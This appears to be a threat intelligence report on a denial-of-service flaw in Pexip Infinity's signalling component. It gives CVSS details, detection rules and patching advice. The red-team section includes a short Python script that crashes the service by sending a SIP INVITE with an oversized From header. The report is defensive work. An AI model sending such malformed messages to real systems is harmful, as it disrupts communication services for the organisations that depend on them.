CVE-2025-32095

Executive Summary

CVE-2025-32095 is a high-severity vulnerability in Pexip Infinity, a video conferencing and collaboration platform. The flaw resides in the signalling component and is caused by improper input validation. A remote, unauthenticated attacker can exploit this by sending a crafted signalling message, triggering a software abort and resulting in a denial of service (DoS). This can disrupt critical communication services, making it a significant availability risk for organizations relying on Pexip Infinity.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core product vulnerability in Pexip Infinity. The supply chain risk is limited to the vendor's software distribution and update mechanism.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network – The attack can be launched remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The impact is confined to the vulnerable component.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is modified.
• Availability (A): High – The service is completely disrupted.

Threat Level: High. The low attack complexity and lack of authentication make this a serious threat for any organization using Pexip Infinity.

Deep Dive & Mechanics

The vulnerability is located in the signalling module of Pexip Infinity. Signalling is the process used to establish, control, and terminate communication sessions (e.g., video calls). The module fails to properly validate the structure and content of incoming signalling messages.

An attacker can craft a malformed signalling message that, when parsed by the vulnerable component, causes a memory corruption or an unhandled exception. This leads to a software abort, crashing the affected process. Since signalling is critical for call setup and management, the crash results in a denial of service for all active and new sessions.

The root cause is a classic CWE-20: Improper Input Validation. The software does not check for edge cases, such as excessively long fields, invalid characters, or unexpected message sequences, before processing the data.

Vulnerable vs. Patched Code

The exact code changes are not publicly available, but the fix involves adding input validation routines to the signalling parser.

Vulnerable Code (Conceptual):

// No validation of message length or content
void process_signalling_message(char *message) {
    // Directly parse and process the message
    parse_message(message);
    // ... further processing
}

Patched Code (Conceptual):

void process_signalling_message(char *message) {
    // Validate message length
    if (strlen(message) > MAX_MESSAGE_SIZE) {
        log_error("Message too long");
        return;
    }
    // Validate message structure
    if (!is_valid_message_format(message)) {
        log_error("Invalid message format");
        return;
    }
    // Safe parsing
    parse_message(message);
    // ... further processing
}

The patched version adds checks for message size and format before any processing occurs, preventing malformed data from reaching the vulnerable parsing logic.

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Trigger a denial of service on a Pexip Infinity instance.

Lab Setup:

1. Deploy a vulnerable Pexip Infinity instance (version < 37.0) in an isolated network.
2. Use a tool like netcat, scapy, or a custom Python script to send crafted signalling messages.

Exploit Steps:

1. Identify the signalling port (typically TCP/5060 for SIP or a proprietary port).
2. Craft a malformed SIP INVITE or other signalling message. For example, send a message with an extremely long From header or a malformed Content-Type.
3. Send the crafted message to the target.
4. Monitor the target for service disruption.

Example Python Script (Conceptual):

import socket

target_ip = "192.168.1.100"
target_port = 5060

# Malformed SIP INVITE with an excessively long header
malformed_message = b"INVITE sip:user@example.com SIP/2.0\r\n"
malformed_message += b"From: " + b"A" * 10000 + b"\r\n"
malformed_message += b"To: sip:user@example.com\r\n"
malformed_message += b"CSeq: 1 INVITE\r\n"
malformed_message += b"\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(malformed_message)
sock.close()

Blue Team (Defensive)

Objective: Detect and prevent exploitation attempts.

Detection:

• Monitor for unusually large or malformed signalling messages.
• Set up alerts for process crashes or service restarts on Pexip Infinity nodes.
• Use network intrusion detection systems (NIDS) to inspect signalling traffic.

Prevention:

• Immediately upgrade to Pexip Infinity version 37.0 or later.
• If patching is not possible, restrict network access to the signalling port to trusted IP addresses only.
• Implement a Web Application Firewall (WAF) or signalling proxy that can validate message formats.

Indicators of Compromise (IOCs)

• Network:
  • Unusually large SIP or signalling messages (e.g., > 10KB).
  • Messages with malformed headers or unexpected character sequences.
  • Repeated connection attempts to the signalling port from a single source.
• System:
  • Application crash logs or core dumps from the Pexip signalling process.
  • Service restarts or failover events.
  • High CPU or memory usage just before a crash.

Detection Engineering

YARA Rule

rule CVE_2025_32095_Pexip_Signalling_DoS {
    meta:
        description = "Detects malformed signalling messages targeting CVE-2025-32095"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32095"
    strings:
        $sip_invite = "INVITE" ascii wide nocase
        $long_header = /[A-Za-z\-]+: [A-Za-z0-9]{1000,}/ ascii
        $malformed_content = /Content-Type: [^\r\n]{0,5}\r\n/ ascii
    condition:
        $sip_invite and ($long_header or $malformed_content)
}

Sigma Rule

title: CVE-2025-32095 - Pexip Infinity Signalling DoS Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects network traffic indicative of exploitation attempts for CVE-2025-32095
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 2100001
    condition: selection
falsepositives:
    - Legitimate but malformed traffic from faulty clients
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 5060 (msg:"CVE-2025-32095 Pexip Infinity Signalling DoS Attempt"; flow:to_server,established; content:"INVITE"; nocase; pcre:"/[A-Za-z\-]+: [A-Za-z0-9]{1000,}/"; sid:2100001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade all Pexip Infinity instances to version 37.0 or later. This is the only complete fix.
2. Network Segmentation: Restrict access to the signalling port (e.g., TCP/5060) to only trusted IP addresses using firewall rules.
3. Rate Limiting: Implement rate limiting on the signalling interface to reduce the impact of a DoS attack.

Long-Term Measures:

• Enable logging and monitoring for all signalling traffic.
• Regularly review and update security patches for all infrastructure components.
• Conduct periodic security assessments and penetration testing.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.